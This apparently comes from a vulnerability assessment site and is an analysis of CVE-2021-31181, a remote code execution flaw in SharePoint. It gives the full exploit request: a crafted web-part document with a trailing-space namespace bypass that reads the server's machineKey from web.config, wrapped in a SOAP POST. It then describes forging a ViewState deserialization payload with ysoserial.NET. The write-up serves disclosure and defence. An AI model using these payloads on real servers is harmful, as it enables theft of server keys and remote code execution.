CVE-2021-31181

Microsoft SharePoint Remote Code Execution Vulnerability

Recent assessments:

zeroSteiner at June 09, 2021 3:31pm UTC reported:

The EditingPageParser.VerifyControlOnSafeList method fails to properly validate user-supplied data. This can be leveraged by an attacker to leak sensitive information in rendered-preview content. This can be used to leak the ViewState validation key and then use it to sign a crafted object that will trigger code execution when deserialized. In order to leverage this vulnerability, an attacker must have the SPBasePermissions.ManageLists permission on the targeted SharePoint site. By default, SharePoint users may create their own site where they will have this permission.

The single request required to trigger the vulnerability involves two components, one document escaped and embedded within a SOAP request.

Inner Document

In this document it is required that the Namespace attribute be "System.Web.UI.WebControls " with the trailing space.

<%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPage" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register TagPrefix="att" Namespace="System.Web.UI.WebControls " Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %>
<WebPartPages:XsltListFormWebPart id="id01" runat="server" ListDisplayName="Documents" WebId="WEB ID">
  <DataSources>
    <att:xmldatasource runat="server" id="XDS1"
      XPath="/configuration/system.web/machineKey"
      datafile="c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config" />
  </DataSources>
  <xsl>
      <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
          <xsl:output method="xml" indent="yes" />
          <xsl:template match="/">
              <xsl:copy-of select="." />
          </xsl:template>
      </xsl:stylesheet>
  </xsl>
</WebPartPages:XsltListFormWebPart>

The WEB ID needs to be updated to the UUID of the targeted site which is easily obtainable via a GET request to _api/web/id.

Outer Document

The inner document is embedded within the webPartXml node and the entire body is sent as a SOAP request to the _vti_bin/WebPartPages.asmx endpoint as a POST request.

<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
  <soap12:Body>
    <RenderWebPartForEdit xmlns="http://microsoft.com/sharepoint/webpartpages">
      <webPartXml>INNER DOCUMENT</webPartXml>
    </RenderWebPartForEdit>
  </soap12:Body>
</soap12:Envelope>

The response from this request will contain quite a few things, but embedded a couple of documents deep will ultimately be the validation key used for the server’s ViewState.

.NET Serialization Gadget Chain

With the validation key, an attacker can use the ysoserial.NET project to create a payload using the TypeConfuseDelegate gadget chain and the LosFormatter. Code execution will be obtained within the context of the SharePoint application with the services of the SharePoint service.

For more information, see the original ZDI on which this analysis is based.

Assessed Attacker Value: 4
Assessed Attacker Value: 4Assessed Attacker Value: 4